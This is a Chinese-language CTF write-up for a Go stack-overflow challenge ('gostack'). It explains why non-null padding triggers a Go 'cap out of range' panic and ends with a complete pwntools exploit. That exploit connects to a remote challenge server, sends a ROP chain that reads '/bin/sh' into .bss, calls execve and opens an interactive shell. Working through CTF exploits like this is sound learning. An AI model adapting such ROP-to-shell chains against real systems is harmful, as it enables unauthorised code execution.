文章目录
- 思路
- 报错
- 报错原理
- 具体场景分析
- 示例说明
- exp
思路
明显栈溢出,二分法试试,尝试得到偏移值,然后构造rop链,但偏移的填充物如果不是零字节会出现如下的报错
报错
,“cap out of range”(容量超出范围),发生在尝试扩展切片(slice)容量时。Go语言中的切片是一种动态数据结构,可以看作是对底层数组的封装,包含指向数组的指针、长度和容量三个要素。当向切片追加元素导致容量不足时,Go会自动尝试扩展切片容量。但是,如果扩展操作导致新的容量超出了其允许的最大值(通常是math.MaxInt32
个元素),就会引发此错误。
报错原理
错误信息的关键部分是:
panic: runtime error: growslice: cap out of range
这意味着在运行时尝试扩大一个切片的容量时,所请求的新容量超出了支持的范围。通常,这是因为程序尝试存储的数据量超过了Go语言能够有效处理的切片最大容量限制。
具体场景分析
从错误堆栈跟踪中可以看到问题发生在fmt.Fprintf
函数内部,具体是在处理字符串格式化和输出的过程中。错误起始于尝试写入一个非常长的字符串到缓冲区时,这个操作在内部触发了切片扩容,但由于字符串过长,导致扩容失败。
fmt.Fprintf({0x4df508, 0xc000010018}, {0x4c0995, 0x17}, {0xc000049ea8, 0x1, 0x1})
这里,程序试图格式化输出一个很长的字符串(你的输入),但在构建输出缓冲时遇到了容量限制问题。错误链中的fmt.(*buffer).writeString
、fmt.(*fmt).padString
、fmt.(*fmt).fmtS
等函数调用,都与字符串处理和格式化输出有关。
示例说明
假设你有一个简单的Go程序,它的目的是读取用户输入并将其打印出来:
package mainimport ("fmt""os"
)func main() {var input stringfmt.Println("Input your magic message:")fmt.Scanln(&input)fmt.Printf("Your magic message: %s\n", input)
}
当你输入一个非常长的字符串,比如上百万个字符,程序在尝试通过fmt.Printf
打印这个字符串时,就可能会遇到上述错误。因为在内部,fmt.Printf
会尝试构建一个缓冲区来存放格式化后的字符串,如果字符串过长导致所需缓冲区的容量超过了Go所能支持的最大值,就会引发“cap out of range”的错误。
exp
from pwn import *
p=remote("8.147.129.254", 22350)#nc 8.147.129.254 22350
#p=process("./gostack")
#gdb.attach(p)
rdi=0x00000000004a18a5 #0x00000000004a18a5 : pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret
rsi=0x000000000042138a#0x000000000042138a : pop rsi ; ret
rdx=0x00000000004944ec #0x00000000004944ec : pop rdx ; ret
rax=0x000000000040f984 #0x000000000040f984 : pop rax ; ret
syscall=0x0000000000461F65
bss=0x00000000005633A0
payload=b"\x00"*0x1d0+p64(rdi)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x8)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(bss)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)
#p.sendlineafter(b"Your magic message",payload)
p.sendlineafter(b"magic message :",payload)
p.send(b"/bin/sh\x00")
p.interactive()